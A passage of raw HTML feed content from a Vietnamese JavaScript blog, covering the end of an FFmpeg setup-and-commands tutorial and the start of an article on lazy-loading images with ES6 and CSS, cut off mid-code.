url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAVABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAECBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAe4tMKGAgP/EABYQAQEBAAAAAAAAAAAAAAAAAAARIP/aAAgBAQABBQLVVX//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/AR//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/AR//xAAUEAEAAAAAAAAAAAAAAAAAAAAw/9oACAEBAAY/Ah//xAAeEAACAQMFAAAAAAAAAAAAAAAAASEQEUExUWGBkf/aAAgBAQABPyFJkpcDmUdP0xsPGaXe9C8//9oADAMBAAIAAwAAABADAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/EB//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/EB//xAAdEAEAAgICAwAAAAAAAAAAAAABABEhMUFRYXGB/9oACAEBAAE/EBNl13iJaVAdEQBLE2QM39iLpYfJ4ju1mGyDCqIliL1hSCGjHuf/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tìm environment variables" title="Tìm environment variables" src="/static/99dbf095289ca8642992e7f85d3652b5/b59c8/ffmpeg-la-gi-2-completejavascript.com_.jpg" srcset="/static/99dbf095289ca8642992e7f85d3652b5/e4e7a/ffmpeg-la-gi-2-completejavascript.com_.jpg 165w, /static/99dbf095289ca8642992e7f85d3652b5/4f5c6/ffmpeg-la-gi-2-completejavascript.com_.jpg 330w, /static/99dbf095289ca8642992e7f85d3652b5/b59c8/ffmpeg-la-gi-2-completejavascript.com_.jpg 563w" sizes="(max-width: 563px) 100vw, 563px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><strong>Bước 3</strong>: Cửa sổ tiếp theo hiện ra bạn chọn trong mục <strong>System variables</strong> => <strong>Path</strong> => <strong>Edit</strong>. Sau đó, bạn thêm vào đường dẫn sau <strong>C:\ffmpeg\bin</strong> - là đường dẫn đến file chạy của <strong>ffmpeg.exe, ffplay.exe, ffprobe.exe</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 109.69696969696969%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAWABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAECBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHtbyQhaCA//8QAGBAAAwEBAAAAAAAAAAAAAAAAAAEREBL/2gAIAQEAAQUCu805yjYj/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPwEf/8QAFhABAQEAAAAAAAAAAAAAAAAAIAEx/9oACAEBAAY/AhtP/8QAGRAAAwEBAQAAAAAAAAAAAAAAAAEhETFx/9oACAEBAAE/IYdNnRPUQ3WvCCREGjaf/9oADAMBAAIAAwAAABCvCAD/xAAVEQEBAAAAAAAAAAAAAAAAAAARIP/aAAgBAwEBPxBj/8QAFREBAQAAAAAAAAAAAAAAAAAAESD/2gAIAQIBAT8QI//EABwQAQEBAQACAwAAAAAAAAAAAAERADEhQWGhsf/aAAgBAQABPxA6DopKhy56V86BrdqMoreemR+tYSP5hj4YRwnvQrzzN//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm biến môi trường cho ffmpeg" title="Thêm biến môi trường cho ffmpeg" src="/static/24124bba36e32321a6f27faa09115d7f/5ab81/ffmpeg-la-gi-3-completejavascript.com_.jpg" srcset="/static/24124bba36e32321a6f27faa09115d7f/e4e7a/ffmpeg-la-gi-3-completejavascript.com_.jpg 165w, /static/24124bba36e32321a6f27faa09115d7f/4f5c6/ffmpeg-la-gi-3-completejavascript.com_.jpg 330w, /static/24124bba36e32321a6f27faa09115d7f/5ab81/ffmpeg-la-gi-3-completejavascript.com_.jpg 660w, /static/24124bba36e32321a6f27faa09115d7f/40619/ffmpeg-la-gi-3-completejavascript.com_.jpg 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bây giờ, bạn chỉ cần lưu lại là xong. Đến đây bạn có thể sử dụng FFmpeg ở mọi thư mục trên máy tính.</p> <p>Tiếp theo, phần quan trọng nhất trong bài viết ngày hôm nay, đó là các câu lệnh FFmpeg thường dùng.</p> <h2 id="hướng-dẫn-sử-dụng-ffmpeg-tools" style="position:relative;"><a href="#h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn-s%E1%BB%AD-d%E1%BB%A5ng-ffmpeg-tools" aria-label="hướng dẫn sử dụng ffmpeg tools permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hướng dẫn sử dụng FFmpeg Tools</h2> <p>Để hiểu rõ hơn, cũng như biết nhiều hơn về các câu lệnh của FFmpeg, bạn có thể vào trang chủ của nó, tại <a href="https://ffmpeg.org/documentation.html">đây</a>. Sau đây, mình sẽ tóm tắt lại một số những câu lệnh mà theo mình nó phù hợp với những người sử dụng bình thường và dĩ nhiên nó rất hiệu quả.</p> <p>Trước tiên, để sử dụng tiện ích của ffmpeg, bạn phải mở CMD lên. Vì chúng ta đã cài đặt biến môi trường cho phần mềm nên bạn có thể mở CMD lên ở mọi thư mục và sử dụng FFmpeg. Để mở CMD ở một thư mục, bạn nhấn <strong>Shift</strong>, đồng thời <strong>nhấn chuột phải</strong>, rồi chọn <strong>Open command window here</strong>. Lúc này, bạn có thể sử dụng FFmpeg để xử lý audio, video được rồi.</p> <h3 id="công-cụ-ffmpeg" style="position:relative;"><a href="#c%C3%B4ng-c%E1%BB%A5-ffmpeg" aria-label="công cụ ffmpeg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Công cụ ffmpeg</h3> <p>Một chú ý nhỏ trước khi bắt đầu đó là: các ảnh, audio và video có thể có nhiều định dạng khác nhau. Tuy nhiên, sau đây mình sẽ chỉ ví dụ mặc định với ảnh .png, audio .mp3 và video .mp4</p> <h4 id="ý-nghĩa-một-số-loại-option" style="position:relative;"><a href="#%C3%BD-ngh%C4%A9a-m%E1%BB%99t-s%E1%BB%91-lo%E1%BA%A1i-option" aria-label="ý nghĩa một số loại option permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ý nghĩa một số loại option</h4> <ul> <li>i : đầu vào input</li> <li>f : định dạng format</li> <li>vn : vô hiệu hóa việc recoding video trong quá trình chuyển đổi</li> <li>ar : cài đặt thông số tần số lấy mẫu của audio (sample rate)</li> <li>ac : cài đặt số kênh (channel) của audio</li> <li>ab : cài đặt audio bitrate</li> <li>vf : cài đặt bộ lọc video (video filter)</li> </ul> <h4 id="một-số-câu-lệnh-ffmpeg-thường-dùng" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-c%C3%A2u-l%E1%BB%87nh-ffmpeg-th%C6%B0%E1%BB%9Dng-d%C3%B9ng" aria-label="một số câu lệnh ffmpeg thường dùng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số câu lệnh FFmpeg thường dùng</h4> <p><strong>Code FFmpeg hiển thị thông tin của file</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i test.mp4</code></pre></div> <p><strong>Code FFmpeg chuyển đổi ảnh thành video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -f image2 -i img%d.png video.mp4</code></pre></div> <p>Trong đó, img%d.png là tất cả những ảnh đầu vào của bạn trong thư mục hiện tại và video.mp4 là tên video đầu ra. Ví dụ: bạn có các bức ảnh img1.png, img2.png,...,img100.png (định dạng có thể là png hoặc jpg,...) và bạn muốn tập hợp lại thành video có tên là video.mp4 (có thể là định dạng khác như .avi, .mpg,...). Thực tế thì chức năng này chỉ có ích khi bạn có rất nhiều bức ảnh là tập hợp các Frame của video. Và dĩ nhiên video này sẽ không có âm thanh.</p> <p><strong>Code FFmpeg chuyển đổi video thành ảnh</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 image%d.png</code></pre></div> <p>Ở đây, đầu vào là file video có tên là video.mp4 và đầu ra là các ảnh có tên dạng <strong>image%d.png</strong> (image1.png, image2.png, image3.png,...)</p> <p><strong>Code FFmpeg tách âm thanh từ video và lưu lại thành file mp3</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -vn -ar <span class="token number">44100</span> -ac <span class="token number">2</span> -ab 192k -f mp3 sound.mp3</code></pre></div> <p>Trong đó:</p> <ul> <li>File video đầu vào có tên: video.mp4</li> <li>Tần số lấy mẫu sample rate: 44100 Hz.</li> <li>Audio bitrate: 192kb/s</li> <li>Đầu ra: định dạng .mp3</li> <li>Tên file đầu ra là: sound.mp3</li> </ul> <p><strong>Code FFmpeg chuyển đổi định dạng video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video_input.xxx video_output.yyy</code></pre></div> <p>Trong đó:</p> <ul> <li>File đầu vào là video_input.xxx với xxx là các định dạng video của file đầu vào: mp4, avi, mpg, flv,...</li> <li>File đầu ra là video_output.yyy với yyy cũng là các định dạng video của file đầu vào: mp4, avi, mpg, flv,...</li> </ul> <p>Ví dụ, mình muốn chuyển từ định dạng flv sang mp4, thì câu lệnh sẽ là:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video_input.flv video_output.mp4</code></pre></div> <p><strong>Code FFmpeg chuyển video thành ảnh động .gif</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 gif_anime.gif</code></pre></div> <p>Trong đó:</p> <ul> <li>File video đầu vào là video.mp4</li> <li>Ảnh động đầu ra là: gif_anime.gif</li> </ul> <p><strong>Code FFmpeg trộn video với một file âm thanh</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i sound.mp3 -i video_input.mp4 video_output.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>Tệp tin âm thanh đầu vào là sound.mp3</li> <li>Tệp tin video đầu vào là video_input.mp4</li> <li>Tệp tin video đầu ra là video_output.mp4</li> </ul> <p>Chú ý là: độ dài video đầu ra sẽ là độ dài lớn hơn của một trong hai cái đầu vào.</p> <p><strong>Code FFmpeg tăng - giảm tốc độ video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -vf <span class="token string">"setpts=0.5*PTS"</span> highspeed.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>video.mp4 là video đầu vào</li> <li><code>setpts=0.5\*PTS</code> giúp tăng tốc video lên gấp 2 lần</li> <li>File video đầu ra là: highspeed.mp4</li> </ul> <p>Nếu muốn giảm tốc độ đi 2 lần thì chỉ cần thay đổi thành:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -vf <span class="token string">"setpts=2*PTS"</span> highspeed.mp4</code></pre></div> <p>Còn muốn tốc độ khác thì bạn tự suy luận ra nhé.</p> <p><strong>Code FFmpeg thêm ảnh vào audio và xuất bản thành video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -loop <span class="token number">1</span> -i image.png -i sound.mp3 -c:v libx264 -c:a aac -strict experimental -b:a 192k -shortest output.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>File ảnh đầu vào là image.png</li> <li>File âm thanh đầu vào là sound.mp3</li> <li>File video đầu ra là: output.mp4</li> </ul> <p><strong>Code FFmpeg thêm phụ đề cho video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -i subtitles.srt -map <span class="token number">0</span> -map <span class="token number">1</span> -c copy -c:v libx264 -crf <span class="token number">23</span> -preset veryfast video-output.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>File video đầu vào là video.mp4</li> <li>File phụ đề đầu vào là subtitles.srt</li> <li>File video đầu ra là video-output.mp4</li> </ul> <p><strong>Code FFmpeg cắt lấy một phần nhỏ của video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -ss 00:00:50.0 -codec copy -t <span class="token number">20</span> output.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>File đầu vào là video.mp4</li> <li>Option ss để chỉ ra thời điểm bắt đầu của video đầu ra. Tiếp theo sau là thời gian theo định dạng HH:MM:SS.ms</li> <li>Option t để chỉ ra thời lượng của video đầu ra. Sau đó là thời gian tính theo giây.</li> </ul> <p><strong>Code FFmpeg chia video ra thành nhiều phần</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -t 00:00:50 -c copy small-1.mp4 -ss 00:00:50 -codec copy small-2.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>File video đầu vào là video.mp4</li> <li>File sẽ được chia làm 2 phần: phần 1 có tên <strong>small-1.mp4</strong> sẽ có thời lượng 50 giây tính từ đầu video, phần 2 sẽ có tên <strong>small-2.mp4</strong> sẽ bắt đầu từ giây thứ 50 và kéo dài đến cuối video</li> </ul> <p><strong>Code FFmpeg ghép video từ những video nhỏ</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -f concat -i file-list.txt -c copy output.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>File đầu vào là file file-list.txt - chứa tên của các video cần ghép, ở cùng thư mục đang xét. Ví dụ nội dung file sẽ như sau:</li> </ul> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">file 'small-1.mp4' file 'small-2.mp4'</code></pre></div> <ul> <li>File đầu ra là output.mp4</li> </ul> <p><strong>Code FFmpeg tắt âm thanh của video</strong></p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i video.mp4 -an mute-video.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>File đầu vào là video.mp4</li> <li>Option <strong>an</strong> là để tắt âm thanh video</li> <li>File đầu ra là mute-video.mp4</li> </ul> <h3 id="công-cụ-ffplay" style="position:relative;"><a href="#c%C3%B4ng-c%E1%BB%A5-ffplay" aria-label="công cụ ffplay permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Công cụ ffplay</h3> <p>Dùng để chạy, phát video. Câu lệnh đơn giản là:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffplay dir/video.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li>dir là đường dẫn đến tệp tin video</li> <li>video.mp4 là tên video</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là những gì mình tìm hiểu được về FFmpeg và những công cụ của nó ffpmeg, ffplay. Những câu lệnh trên đây mới chỉ là những câu lệnh đơn giản. Để tìm hiểu sâu hơn, bạn có thể vào trang chủ của ffmpeg, tại <a href="https://ffmpeg.org/documentation.html">đây</a>.</p> <p>Hy vọng, bài viết trên đây có thể giúp ích cho bạn. Nếu có gì thắc mắc bạn có thể để lại comment phía dưới hoặc gửi lại email cho mình.</p> <p>Xin chào và hẹn gặp bạn ở bài viết tiếp theo, thân ái!</p> <p><strong>Có thể bạn quan tâm:</strong></p> <ul> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-nhung-cau-lenh-ffmpeg-xu-ly-video">[FFmpeg Tutorial] Những câu lệnh FFmpeg xử lý video</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-lay-thong-tin-video-bang-ffmpeg">[FFmpeg Tutorial] Lấy thông tin video bằng FFmpeg</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-lay-anh-tu-video-voi-ffmpeg">[FFmpeg Tutorial] Lấy ảnh từ video với FFmpeg</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-chuyen-video-thanh-anh-dong-gif">[FFmpeg Tutorial] Chuyển video thành ảnh động GIF</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-convert-video-thanh-mp4-voi-ffmpeg">[FFmpeg Tutorial] Convert video thành MP4 với FFmpeg</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-convert-video-thanh-webm-voi-ffmpeg">[FFmpeg Tutorial] Convert video thành WEBM với FFmpeg</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-crop-video-voi-ffmpeg">[FFmpeg Tutorial] Crop video với FFmpeg</a></li> <li><a href="https://phamvanlam.com/ffmpeg-tutorial-cut-video-voi-ffmpeg">[FFmpeg Tutorial] Cut video với FFmpeg</a></li> </ul>[email protected]<![CDATA[Triển khai Lazy Loading Image với ES6 và CSS]]><![CDATA[Xin chào bạn! Trong bài viết triển khai Lazy Loading Image trong React mình đã giới thiệu với bạn tư tưởng chính của phương pháp Lazy Loading Image và cách mình triển khai nó trong…]]>https://completejavascript.com/trien-khai-lazy-loading-image-voi-es6-va-css/https://completejavascript.com/trien-khai-lazy-loading-image-voi-es6-va-css/<![CDATA[CSS]]><![CDATA[ES6]]><![CDATA[Performance]]><![CDATA[Template]]>Sat, 17 Mar 2018 12:00:15 GMT<p>Xin chào bạn! Trong bài viết <a href="/trien-khai-lazy-loading-image-trong-react/">triển khai Lazy Loading Image trong React</a> mình đã giới thiệu với bạn tư tưởng chính của phương pháp Lazy Loading Image và cách mình triển khai nó trong React. Còn trong bài này, mình sẽ không sử dụng React nữa. Thay vào đó mình sẽ chỉ sử dụng ES6 và CSS thôi. Mời bạn theo dõi bài viết, xem mình đã triển khai Lazy Loading Image với ES6 và CSS như thế nào nhé!</p> <h2 id="triển-khai-lazy-loading-image-với-es6-và-css" style="position:relative;"><a href="#tri%E1%BB%83n-khai-lazy-loading-image-v%E1%BB%9Bi-es6-v%C3%A0-css" aria-label="triển khai lazy loading image với es6 và css permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Lazy Loading Image với ES6 và CSS</h2> <h3 id="phần-code-quan-trọng" style="position:relative;"><a href="#ph%E1%BA%A7n-code-quan-tr%E1%BB%8Dng" aria-label="phần code quan trọng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phần code quan trọng</h3> <p><strong>main.js</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"DOMContentLoaded"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> gridContainer <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".grid"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Template for each cell in grid</span> <span class="token keyword">const</span> <span class="token function-variable function">cellTemplate</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> &lt;div class="cell"> &lt;div class="lazy-image" id="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>id<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">">&lt;/div> &lt;div class="caption"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>id<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">"-"</span><span class="token punctuation">,</span> <span class="token string">" "</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/div> &lt;/div> </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">NUMBER_IMAGE</span> <span class="token operator">=</span> <span class="token number">18</span><span class="token punctuation">;</span> <span class="token comment">// Render all images with default background as place_holder.png</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token constant">NUMBER_IMAGE</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">image-</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i <span class="token operator">&lt;</span> <span class="token number">10</span> <span class="token operator">?</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">0</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span> <span class="token operator">:</span> i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">const</span> tmpl <span class="token operator">=</span> <span class="token function">cellTemplate</span><span class="token punctuation">(</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> frag <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createRange</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">createContextualFragment</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span> gridContainer<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>frag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// store all images DOM in array</span> <span class="token keyword">let</span> arrayImages <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">".lazy-image"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// handle scroll</span> <span class="token function">handleScroll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> debounceTimer<span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>debounceTimer<span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">clearTimeout</span><span class="token punctuation">(</span>debounceTimer<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> debounceTimer <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleScroll</span><span class="token 